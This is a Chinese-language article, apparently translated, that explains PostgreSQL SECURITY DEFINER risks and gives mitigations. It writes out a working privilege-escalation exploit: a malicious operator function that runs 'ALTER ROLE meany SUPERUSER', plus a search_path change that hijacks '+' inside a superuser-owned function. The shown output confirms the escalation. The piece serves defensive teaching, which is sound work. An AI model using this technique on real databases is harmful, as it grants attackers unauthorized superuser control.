SECURITY DEFINER 函数在 PostgreSQL 中是一个强大但危险的工具。
文档警告了危险:
段落引用因为SECURITY DEFINER函数是以拥有它的用户的权限执行的,所以需要注意确保该函数不会被滥用。为了安全起见,search_path应该设置为排除不受信任的用户可写的任何模式。这可以防止恶意用户创建对象(例如,表、函数和运算符)来掩盖函数打算使用的对象。
本文描述了这样的攻击,希望提醒人们这不是闲置的警告。
SECURITY DEFINER有什么用?
默认情况下,PostgreSQL 函数定义为SECURITY INVOKER. 这意味着它们是使用用户 ID 和调用它们的用户的安全上下文执行的。由此类函数执行的 SQL 语句以与用户直接执行相同的权限运行。
一个SECURITY DEFINER功能与功能所有者的用户ID和安全上下文中运行。
这可用于允许低特权用户以受控方式执行需要高特权的操作:您定义SECURITY DEFINER执行该操作的特权用户拥有的函数。该功能以所需的方式限制操作。
例如,您可以允许用户使用COPY TO, 但仅限于某个目录。该功能必须由超级用户拥有(或者,从 v11 开始,由具有该pg_write_server_files角色的用户拥有)。
有什么危险?
当然,必须非常小心地编写此类函数,以避免可能被滥用的软件错误。
但是,即使代码编写得很好,也存在危险:从函数中对数据库对象的非限定访问(即在没有明确指定模式的情况下访问对象)可能会影响函数作者以外的其他对象。这是因为search_path可以在数据库会话中修改配置参数。此参数控制搜索哪些模式来定位数据库对象。
该文档有一个示例,其中search_path用于使用密码检查功能无意中检查临时表的密码。
您可能认为通过在每个表访问中使用模式名称可以避免危险,但这还不够好。
一个无害的 (?)SECURITY DEFINER函数
考虑一个SECURITY DEFINER没有search_path正确控制的函数的看似无害的例子:
CREATE FUNCTION public.harmless(integer) RETURNS integer
LANGUAGE sql SECURITY DEFINER AS
'SELECT $1 + 1';
复制
让我们假设此功能由超级用户拥有。
现在乍一看很安全:没有使用表或视图,所以什么都不会发生,对吧?错误的!
“无害”功能如何被滥用
攻击取决于两件事:
有一个模式 ( public),攻击者可以在其中创建对象。
PostgreSQL 具有很强的可扩展性,因此您不仅可以创建新表和函数,还可以创建新类型和运算符(除其他外)。
恶意数据库用户“ meany”可以简单地运行以下代码:
/*
* SQL functions can run several statements, the result of the
* last one is the function result.
* The "OPERATOR" syntax is necessary to schema-qualify an operator
* (you can't just write "$1 pg_catalog.+ $2").
*/
CREATE FUNCTION public.sum(integer, integer) RETURNS integer
LANGUAGE sql AS
'ALTER ROLE meany SUPERUSER; SELECT $1 OPERATOR(pg_catalog.+) $2';
CREATE OPERATOR public.+ (
FUNCTION = public.sum,
LEFTARG = integer,
RIGHTARG = integer
);
/*
* By default, "pg_catalog" is added to "search_path" in front of
* the schemas that are specified.
* We have to put it somewhere else explicitly to change that.
*/
SET search_path = public,pg_catalog;
SELECT public.harmless(41);
harmless
----------
42
(1 row)
\du meany
List of roles
Role name | Attributes | Member of
-----------+------------+-----------
meany | Superuser | {}
复制
发生了什么?
该函数是在超级用户权限下执行的。search_path被设置为+在模式中public而不是在pg_catalog. 因此,用户定义的函数public.sum以超级用户权限执行,并将攻击者变成了超级用户。
如果攻击者自己调用了该函数public.sum(或发出ALTER ROLE声明),则会导致“权限被拒绝”错误。但是由于SELECT函数内部的语句以超级用户权限运行,所以操作符函数也是如此。
你如何保护自己?
理论上,您可以对函数体内的所有内容(包括运算符)进行模式限定,但是忘记无害的“ +”或“ =”的风险太大了。此外,这会使您的代码难以阅读,这对软件质量不利。
因此,您应该采取以下措施:
- 按照文档的建议,始终search_path在SECURITY DEFINERfunction上设置。除了函数中需要的模式外,将pg_temp列表作为最后一个元素。
- 在不受信任的用户拥有CREATE特权的数据库中不要有任何架构。特别是,从schema 中删除默认的 publicCREATE权限public。
- 撤销EXECUTE对所有SECURITY DEFINER功能的公共权限,仅将其授予那些需要它的用户。
在 SQL 中:
ALTER FUNCTION harmless(integer)
SET search_path = pg_catalog,pg_temp;
REVOKE CREATE ON SCHEMA public FROM PUBLIC;
REVOKE EXECUTE ON FUNCTION harmless(integer) FROM PUBLIC;
复制